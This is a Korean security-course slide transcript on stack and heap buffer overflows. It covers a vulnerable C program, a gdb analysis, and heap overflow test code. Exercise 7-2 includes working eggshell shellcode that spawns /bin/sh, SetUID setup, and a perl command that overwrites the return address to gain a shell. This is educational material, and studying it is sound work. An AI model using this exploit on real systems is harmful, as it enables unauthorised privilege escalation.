7장 오버플로우 학습목표 내용 스택과 힙 버퍼 오버플로우 취약점을 이해한다.

Slides:



Advertisements
Similar presentations
1 08 배열. 한국대학교 객체지향연구소 2 C 로 배우는 프로그래밍 기초 2 nd Edition 배열  동일한 자료유형의 여러 변수를 일괄 선언  연속적인 항목들이 동일한 크기로 메모리에 저장되는 구조  동일한 자료 유형이 여러 개 필요한 경우에 이용할 수 있는.
Advertisements

- 1 - 정보 보안 개론과 실습 시스템 해킹과 보안 팀원 : 박진영 한동섭 · 권혁진.
Format String Attack! 포맷 스트링 공격 경일대학교 사이버보안학과 학년 남주호.
Chapter 9 Format String Bug (FSB)
Chapter 05. 코드 보안 : 코드 속에 뒷길을 만드는 기술
Basic of Buffer Over Flow
ㅎㅎ 구조체 구조체 사용하기 함수 매개변수로서의 구조체 구조체 포인터와 레퍼런스 구조체 배열.
쉽게 풀어쓴 C언어 Express 제11장 포인터 C Express Slide 1 (of 27)
2장. 프로그램의 기본 구성. 2장. 프로그램의 기본 구성 2-1"Hello, World!" 들여다 보기 /* Hello.c */ #include int main(void) { printf("Hello, World! \n"); return 0;
제14장 동적 메모리.
9장. C 언어의 핵심! 함수. 9장. C 언어의 핵심! 함수 9-1 함수의 정의와 선언 main 함수 다시 보기 : 함수의 기본 형태 { } 그림 9-1.
실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기
버퍼 오버플로우 by 강희원,김무혁.
제 9 장 구조체와 공용체.
컴퓨터 프로그래밍 기초 [Final] 기말고사
-Part2- 제3장 포인터란 무엇인가.
C 8장. 포인터 #include <stdio.h> int main(void) { int num;
버퍼 오버플로우에 대한 대책과 발전된 공격 안전한 함수 사용 버퍼 오버플로우에 취약한 함수 사용하지 않기
윤성우의 열혈 C 프로그래밍 윤성우 저 열혈강의 C 프로그래밍 개정판 Chapter 12. 포인터의 이해.
시스템 보안 [Buffer Overflow] DEC, 15, 2013 By 박동혁.
쉽게 풀어쓴 C언어 Express 제17장 동적메모리와 연결리스트 C Express Slide 1 (of 13)
UNIT 07 Memory Map 로봇 SW 교육원 조용수.
5장. 참조 타입.
C 프로그래밍.
11장. 포인터 01_ 포인터의 기본 02_ 포인터와 Const.
포인터 활용 포인터 활용.
쉽게 풀어쓴 C언어 Express 제14장 포인터 활용 C Express.
SqlParameter 클래스 선문 비트 18기 발표자 : 박성한.
컴퓨터 프로그래밍 기초 #02 : printf(), scanf()
임베디드 실습 # LED, 7’Segment 제어
BOF of 2.6 Kernel ! 박수완 / Su-Wan, PARK [ L1nkC] 숭실대학교 정보보호동아리 ACK
14장. 포인터와 함수에 대한 이해.
11장. 1차원 배열.
사용자 함수 사용하기 함수 함수 정의 프로그램에서 특정한 기능을 수행하도록 만든 하나의 단위 작업
인터넷응용프로그래밍 JavaScript(Intro).
13. 포인터와 배열! 함께 이해하기 IT응용시스템공학과 김 형 진 교수.
UNIT 07 Memory Map 로봇 SW 교육원 조용수.
3장 상수 변수 기본 자료형 키워드와 식별자 상수와 변수 기본 자료형 형변환 자료형의 재정의.
메모리 관리 & 동적 할당.
24장. 파일 입출력.
쉽게 풀어쓴 C언어 Express 제14장 포인터 활용 C Express Slide 1 (of 22)
19. 함수 포인터와 void 포인터.
Chapter6 : JVM과 메모리 6.1 JVM의 구조와 메모리 모델 6.2 프로그램 실행과 메모리 6.3 객체생성과 메모리
컴퓨터 프로그래밍 기초 - 10th : 포인터 및 구조체 -
컴퓨터 프로그래밍 기초 - 8th : 함수와 변수 / 배열 -
제9장 C 프로그래밍 환경 TOPCIT (Test of Practical Competency in IT)
8주차: Strings, Arrays and Pointers
Choi Seong Yun 컴퓨터 프로그래밍 기초 #03 : 변수와 자료형 Choi Seong Yun
Fucntion 요약.
Canary value 스택 가드(Stack Guard).
^^ Computer Programming 2 dmpr.cnu.ac.kr/~daygax.
데이터 동적 할당 Collection class.
디버깅 관련 옵션 실습해보기 발표 : 2008년 5월 19일 2분반 정 훈 승
TVM ver 최종보고서
3.2 분기 명령어.
구조체(struct)와 공용체(union)
Summary of Pointers and Arrays
Numerical Analysis Programming using NRs
바이트 순서 변환 함수 주소 변환 함수 바이트 조작 함수 원격지 호스트 정보를 얻는 함수
실습과제 (변수와 자료형, ) 1. 다음 작업 (가), (나), (다)를 수행하는 프로그램 작성
argc, argv 의 사용방법 #include <stdio.h>
제 29 강 스트링(string) 다루기 s a i s . s T i h t g r i n.
Chapter 16. 메모리 동적 할당.
1. 지역변수와 전역변수 2. auto, register 3. static,extern 4. 도움말 사용법
어서와 C언어는 처음이지 제21장.
개정판 누구나 즐기는 C언어 콘서트 제13장 동적 메모리 출처: pixabay.
13. 포인터와 배열! 함께 이해하기.
Assembly 05 방호남 07 반지훈 09 박상욱.
Pointers summary.
2019 2학기 9장 배열과 포인터 1. 주소, 주소연산자(&) 2. 포인터, 역참조연산자(*) 3. 배열과 포인터.
Presentation transcript:

7장 오버플로우 학습목표 내용 스택과 힙 버퍼 오버플로우 취약점을 이해한다. 스택과 힙 버퍼 오버플로우 공격을 수행할 수 있다. 스택과 힙 버퍼 오버플로우 공격에 대한 대응책을 이해한다 내용 스택 버퍼 오버플로우 공격 힙 버퍼 오버플로우 공격 버퍼 오버플로우 공격에 대한 대책과 발전된 공격

스택 버퍼 오버플로우 공격 버퍼(Buffer) : 데이터를 전송, 전송하는 동안 일시 보관하는 메모리 오버플로우 : 버퍼가 가지는 일정 크기를 넘는 데이터가 입력되는 현상 버퍼 오버플로우 공격 : 버퍼에 일정 크기 이상의 데이터를 입력, 프로그램을 공격 프로그램이 사용하는 버퍼 : 메모리의 스택(Stack)과 힙(Heap)에 존재 스택 버퍼 오버플로우와 힙 버퍼 오버플로우로 구분 : 스택에 존재하는 버퍼에 대한 공격이냐 힙에 존재하는 버퍼에 대한 공격이냐에 따라 구분

스택 버퍼 오버플로우 공격 스택 버퍼 오버플로우 공격에 취약한 예 bugfile.c ➊ int main(int argc, char *argv[]) : argc는 취약한 코드인 bugfile.c가 컴파일되어 실행되는 프로그램의 인수 개수, *argv[]는 포인터 배열(인자로 입력되는 값에 대한 번지 수 차례로 저장), 인자가 2개일 경우 argv의 내용은 다음과 같다. •argv[0] : 실행 파일 이름 •argv[1] : 첫 번째 인자 내용 •argv[2] : 두 번째 인자 내용 ➋ char buffer[10] : 크기가 10바이트인 버퍼 할당 ➌ strcpy(buffer, argv[1]) : 버퍼에 첫 번째 인자(argv[1]) 복사 ➍printf“( %s\n”,&buffer) : 버퍼에 저장된 내용 출력 스택 버퍼 오버플로우 공격은 strcpy(buffer, argv[1])에서 발생 bugfile.c #include <stdio.h> ➊ int main(int argc, char *argv[]) { ➋ char buffer[10]; ➌ strcpy(buffer, argv[1]); ➍ printf("%s\n", &buffer); }

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 bugfile.c 컴파일 gdb 디버깅 : -g 옵션 사용 gcc로 컴파일 [그림 7-1] bugfile.c 컴파일 1 gcc bugfile.c -g -o bugfile ls -al

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 gdb를 이용해 bugfile.c 소스 코드 확인 list : gdb 이용 bugfile.c 파일을 열어 소스 코드 확인하는 명령 [그림 7-2] gdb로 bugfile.c 소스 코드 확인 2 gdb bugfile list

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 list 명령 : 특정 행의 범위(3행∼7행)를 조회 [그림 7-3] list 명령으로 특정 행 범위 조회 list 3, 7

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 브레이크 포인트 설정 gdb 이용 디버깅 수행시 list 명령 수행 결과로 나타난 프로그램 행 번호 기준 ‘b(reak) [브레이크 포인트 설정 행]’명령 이용 [그림 7-4] 5행에 브레이크 포인트 설정 3 break 5

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 bugfile.c의 어셈블리어 코드 확인 main과 strcpy 함수의 어셈블리어 코드 확인 함수별 어셈블리어 코드는 ‘disass [함수이름]’명령으로 확인 [그림 7-5] main 함수 어셈블리어 코드 확인 4 disass main

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 [그림 7-6] strcpy 함수 어셈블리어 코드 확인 disass strcpy

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 설정 브레이크 포인트 지점까지 프로그램 실행 후 변수 확인 설정한 브레이크 포인트(char buffer[10];)까지 프로그램 실행 ‘r(un) [인수]’명령 이용 인수‘AAAA’ 입력 [그림 7-7] 프로그램 디버깅을 위한 프로그램 실행 5 run AAAA

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 브레이크 포인트에서 각 변수 값과 스택의 구조 확인 변수 값은 ‘p(rint) [변수이름]’을 통해서 확인 [그림 7-8] 주요 변수 값 확인 print argc print argv[0] print argv[1] print buffer

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 레지스터 값과 스택 확인 레지스터 전체 값 : info reg 명령 조회 특정 레지스터 값 : info reg [레지스터종류] 명령 스택 확인 : ‘ x/[조회하는메모리범위]xw[조회하는메모리지점]’ [그림 7-9] esp 값 확인 및 esp 값으로부터 스택 내용 확인 6 info reg $esp x/16xw $esp

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 다음 단계로 넘어가기 gdb에서 다음 단계로 넘어가는 명령 •s(tep) : 한 행씩 실행하는데 함수 포함하면 함수 내부로 이동 실행. 올리 디버거 툴의 [Step into] 메뉴와 기능 동일 •n(ext) : 한 행씩 실행하는데 함수 포함하면 함수 완전 실행 후 다음 행으로 이동 올리 디버거 툴의 [Step over] 메뉴와 기능 동일 •c(ontinue) : 현재 위치에서 프로그램의 끝(또는 브레이크)까지 실행 7 info reg $esp x/16xw $esp

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 n(ext) 명령으로‘strcpy(buffer, argv[1]);’ 실행 후 buffer 값과 esp 값으로부터 스택 내용 다시 확인 [그림 7-10] esp 레지스터와 esp 포인트부터 스택 확인 next print buffer info reg $esp x/16xw $esp

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 c(ontinue) 명령으로 프로그램 마지막까지 실행 [그림 7-11] 프로그램 마지막까지 실행 continue

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 char buffer[10] 범위를 넘겨서 실행 버퍼 오버플로우 확인 : ‘printf“( %s\n”, &buffer);’행에 브레이크 포인트를 설정 A를 13개 인수로 입력, 스택 내용 확인 [그림 7-12] esp 레지스터와 esp 포인트부터 스택 확인 8 break 6 run AAAAAAAAAAAAA x/16xw $esp

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 ➊ 0x80483f8 <main>: push %ebp 최초의 프레임 포인터(ebp) 값 스택 저장 ➋ 0x80483f9 <main+1>: mov %esp,%ebp 현재의 esp 값 ebp 레지스트리 저장 ➌ 0x80483fb <main+3>: sub $0xc,%esp esp 값(int c 할당 값)에서 12(0xc) 바이트만큼 뺀다. 스택에 4바이트 용량 할당, 스택에 buffer[10]을 할당한 부분

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 ➍ 0x80483fe <main+6>: mov 0xc(%ebp),%eax ebp에서 상위 12바이트(0xC)의 내용을 eax 레지스터에 저장 int main(intargc, char *argv[]) 함수가 호출되기 전에 인수 부분(int argc, char *argv[])이 스택에 쌓인것

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 ➎ 0x8048401 <main+9>: add $0x4,%eax eax 값에서 4바이트만큼 증가. 주소 값 하나는 4바이트고, eax는 argv[0]에 대한 포인터이므로 argv[1] 가리킴 ➏ 0x8048404 <main+12>: mov (%eax),%edx eax 레지스터가 가리키는 주소의 값을 edx 레지스터에 저장, 프로그램을 실행할 때 인수 부분 가리킴 ➐ 0x8048406 <main+14>: push %edx 프로그램 실행할 때 인수에 대한 포인터를 스택에 저장. 인수를 주지 않고 프로그램 실행하면 스택에 0x0 값 저장

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 ➑ 0x8048407 <main+15>: lea 0xfffffff4(%ebp),%eax -12(%ebp)의 주소에 대한 주소 값을 eax 레지스터에 저장 실행되는 실행 파일 이름(argv[0])의 주소에 대한 주소 값 ➒ 0x804840a <main+18>: push %eax 스택에 eax를 저장

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 ➓ 0x804840b <main+19>: call 0x8048340 <strcpy> strcpy 명령 호출

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 strcpy 함수 입력된 인수의 경계 체크 않음 인수는 buffer[10]으로 길이가 10바이트를 넘으면 안 됨 이보다 큰 인수를 받더라도 스택에 씀 Step 8과 같이 인수로A 13개를 쓰면 다음 그림과 같이 A가 쌓임

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 ebp 일부 주소 중 1바이트를 A 문자열이 덮어쓰기 때문에 저장된 ebp 값 손상 프로그램은 오류 발생 셸 코드를 메모리에 올려두고 ret 주소를 셸 코드의 실행 주소로 바꾸면 프로그램이 실행을 마치고 돌아갈 곳을 공격 셸이 위치한 곳으로 바꿔줌으로써 스택 버퍼 오버 플로우 공격은 수행되고 셸을 얻을 수 있음 단, SetUID가 스택 오버플로우 가능한 프로그램에 설정, 관리자 소유의 파일이어야 함

실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기

실습 7-2 스택 버퍼 오버플로우 수행하기 eggshell.c #include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80" "\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46" "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89" "\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" "\x00\xc9\xc3\x90/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); }

실습 7-2 스택 버퍼 오버플로우 수행하기 void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if(argc > 1) bsize = atoi(argv[1]); if(argc > 2) offset = atoi(argv[2]); if(argc > 3) eggsize = atoi(argv[3]); if(!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if(!(egg = malloc(eggsize))) {

실습 7-2 스택 버퍼 오버플로우 수행하기 addr = get_esp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for(i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for(i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(buff,"RET=",4); putenv(buff); system("/bin/bash"); }

실습 7-2 스택 버퍼 오버플로우 수행하기 bugfile.c와 eggshell.c 컴파일 bugfile.c를 관리자 계정으로 컴파일한 후, SetUID를 부여 [그림 7-20] 실습 전 환경 구성 1 gcc -o bugfile bugfile.c gcc -o egg eggshell.c chmod 4755 bugfile ls -al su - wishfree

실습 7-2 스택 버퍼 오버플로우 수행하기 취약 함수 찾기 strings 명령 : 컴파일한 프로그램이 사용한 함수 확인 [그림 7-21] 컴파일한 파일 속에서 strcpy 사용 확인 gdb 이용 확인한 strcpy 함수가 어떻게 사용되는지, 공격자가 이 입력 값에 대한 조작이 가능한지 판단 2 strings bugfile

실습 7-2 스택 버퍼 오버플로우 수행하기 ‘Segmentation Fault’가 일어나는 지점 찾기 프로그램 ret 주소 변조 : ‘ Segmentation fault’ 오류 발생, 이오류를 통해 ret 주소 위치 역으로 확인. ret 주소가 저장되는 위치를 찾기 위해 임의 길이의 A문자 입력 [그림 7-22] 입력 버퍼 이상의 문자열 입력 시 일어나는‘Segmentation fault 16번째 문자에서 ‘Segmentation fault’가 발생(bugfile.c의 char buffer[10]가 할당되는 주소 공간 12바이트, ebp 저장 공간 4바이트이기 때문 17∼20바이트까지 ret 주소임 3 ./bugfile AAAAAAAAAAAAAAA ./bugfile AAAAAAAAAAAAAAAA

실습 7-2 스택 버퍼 오버플로우 수행하기 eggshell 실행 eggshell 실행 셸 코드를 메모리에 남겨두고 주소 확인 스택 버퍼 오버플로우 공격 수행 펄(Perl) 이용 A 문자열과 셸의 메모리 주소를 bugfile에 직접 실행 [그림 7-24] 스택 버퍼 오버플로우 공격의 수행 4 ./eggshell 5 perl -e 'system "./bugfile", "AAAAAAAAAAAAAAAA\x38\xfd\xff\xbf"' id

힙 버퍼 오버 플로우 힙 : 프로그램 실행 시 동적으로 할당한 메모리 공간 malloc 계열의 heapalloc, aeapfree, malloc, free, new, delete 등의 함수로 제어 BSS(Block Started by Symbol)라고도 부름 스택과 반대로 메모리의 하위 주소에서 상위 주소로 영역이 커짐

실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 heap_test_02.c는 heap_test_01.c를 gdb로 효율적으로 분석하려고 간략화 한 것 heap_test_01.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #define BUFSIZE 16 #define OVERSIZE 8 int main(){ u_long address_diff; char *buf1 = (char *)malloc(BUFSIZE), *buf2 = (char *)malloc(BUFSIZE); address_diff = (u_long)buf2 - (u_long)buf1; printf("buf1 = %p, buf2 = %p, address_diff = 0x%x bytes\n", buf1, buf2, address_diff); memset(buf2, 'A', BUFSIZE-1), buf2[BUFSIZE-1] = ‘\0’; printf("오버플로우 전 buf1의 내용 = %s\n", buf1); printf("오버플로우 전 buf2의 내용 = %s\n\n", buf2); memset(buf1, 'B', (u_int)(address_diff + OVERSIZE)); printf("오버플로우 후 buf1의 내용 = %s\n", buf1); printf("오버플로우 후 buf2의 내용 = %s\n", buf2); return 0; }

실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 heap_test_02. c#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> int main(){ u_long address_diff; char *buf1 = (char *)malloc(16); char *buf2 = (char *)malloc(16); address_diff = (u_long)buf2 - (u_long)buf1; memset(buf2, 'A', 15), buf2[15] = '\0'; memset(buf1, 'B', (u_int)(address_diff + 8)); printf("오버플로우 후 buf2의 내용 = %s\n", buf2); return 0; }